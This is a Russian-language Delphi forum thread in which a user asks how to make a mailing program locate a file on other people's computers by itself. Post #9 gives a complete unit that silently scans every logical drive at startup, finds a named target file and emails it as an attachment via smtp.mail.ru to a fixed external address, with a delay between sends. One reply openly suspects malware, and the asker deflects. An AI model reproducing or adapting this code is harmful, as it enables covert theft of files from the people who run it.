![]() |
|
|
Регистрация | << Правила форума >> | FAQ | Пользователи | Календарь | Поиск | Сообщения за сегодня | Все разделы прочитаны |
![]() |
|
Опции темы | Поиск в этой теме | Опции просмотра |
#1
|
|||
|
|||
![]() Я написал код для отправки сообщений на почту
Код:
idSmtp1.Host:='smtp.mail.ru'; idSmtp1.Port:=25 ; idSmtp1.Username:='lol1' ; idSmtp1.Password:='Пароль' ; idMessage1.Body.Text:='Что хотим то и пишем' ; // здесь текст письма.. idMessage1.From.Text:='lol1@mail.ru'; idMessage1.Recipients.EMailAddresses:='lol2@mail.ru' ; idMessage1.Subject:='Team' ; idSmtp1.Connect(); if idSmtp1.Connected=true then; idSmtp1.Send(idmessage1); idSmtp1.Disconnect |
#2
|
|||
|
|||
![]() См. в сторону класса TIdAttachment
|
#3
|
|||
|
|||
![]() Все я разобрался.
Только вот еще вопрос, как сделать чтоб он находил файл в компе сам? просто у другим может быть этот файл в другой директории.. |
#4
|
|||
|
|||
![]() Ну, или перебирать все папки (если файл имеет некоторое достаточно уникальное имя или другие критерии его идентификации) с помощью FindFirst/FindNext/FindClose (примеры см в ФАКе на этом сайте), либо просто сделать настройку какой файл слать (например, просто в Ini-файле указать его полное имя - один раз на одном компе настроил и забыл).
|
#5
|
||||
|
||||
![]() Цитата:
а что собственно Вы пытаетесь отправлять на почту? какие файлы/папки? есть странное подозрение на то, что пишится очередной "зловред"..!!! |
#6
|
|||
|
|||
![]() Цитата:
Но в гугле накопал пару кодов Код:
FindFirst('c:\*.*', faAnyFile, SearchRec); ![]() Чтоб можно вставить его в тело письма? |
#7
|
|||
|
|||
![]() FindFirst/FindNext/FindClose осуществляют поиск файла. Т.е. с их помощью ты сможешь определить полное имя нужного файла. А запихивать его в письмо надо руками через TIdAttachment.
|
#8
|
||||
|
||||
![]() прога ищет в указанном каталоге файлы с определенным расширением, и отправляет их на почту... вот накидал за 5 минут.... глянь
данный исходник, позволяет отправить файлы найденные не только в указанной папке, но и в подкаталогах той папки, пример: каталог c:\windows, ищем к примеру все текстовые файлы, *.txt, прога про сканирует весь каталог windows, и найденные текстовые файлы присоединит к письму...!!!! Последний раз редактировалось RusMaXXX, 04.05.2010 в 17:23. |
#9
|
|||
|
|||
![]() Мне вот тоже накидали, он работает но при запуска Ошибка типо не найдет диск.
Код:
unit Unit1; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, IdMessage, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient, IdMessageClient, IdSMTP, StdCtrls; type TForm1 = class(TForm) IdSMTP1: TIdSMTP; IdMessage1: TIdMessage; procedure FormCreate(Sender: TObject); private { Private declarations } public { Public declarations } end; var Form1: TForm1; implementation {$R *.dfm} procedure S_mail(Atta:string); begin Form1.IdSMTP1.Host:='smtp.mail.ru'; Form1.idSmtp1.Port:=25; Form1.idSmtp1.Username:='+++++' ; Form1.idSmtp1.Password:='+++++' ; Form1.IdMessage1.Body.Text:='Ну вот вроде получилось'; Form1.idMessage1.From.Text:='+++++@mail.ru'; // Почтовый от адрес, от кого Form1.idMessage1.Recipients.EMailAddresses:='hugolom@mail.ru' ; // и кому отправляем Form1.idMessage1.Subject:='test' ; // Тема письма TIdAttachment.Create(Form1.idMessage1.MessageParts,Atta); Form1.idSmtp1.Connect(); if Form1.IdSMTP1.Connected then Form1.idSmtp1.Send(Form1.IdMessage1); Form1.idSmtp1.Disconnect; end; procedure FindFiles(StartFolder: string); var SearchRec: TSearchRec; FindResult: Integer; begin try StartFolder := IncludeTrailingBackslash(StartFolder); FindResult := FindFirst(StartFolder + '*.*', faAnyFile, SearchRec); try while FindResult = 0 do with SearchRec do begin if (Attr and faDirectory) <> 0 then begin if (Name <> '.') and (Name <> '..') then FindFiles(StartFolder + Name); end else if Name='ТУТ_НУЖНЫЙ_НАМ_ФАЙЛ' then begin// если нашли то что искали то тогда S_mail(StartFolder + Name); sleep(360000); // задержка желательно end; FindResult := FindNext(SearchRec); end; finally FindClose(SearchRec); end; finally end; end; procedure TForm1.FormCreate(Sender: TObject); var i, j: integer; buf: array [0..499] of char; DrvStr: array [0..9] of char; LogDrives: set of 0..25; begin integer(LogDrives) := GetLogicalDrives; for i := 0 to 25 do if (i in LogDrives) then FindFiles(chr(i + 65)+':\'); end; end. |
#10
|
|||
|
|||
![]() hugolom ,Ну так и в чем здесь ошибка?
|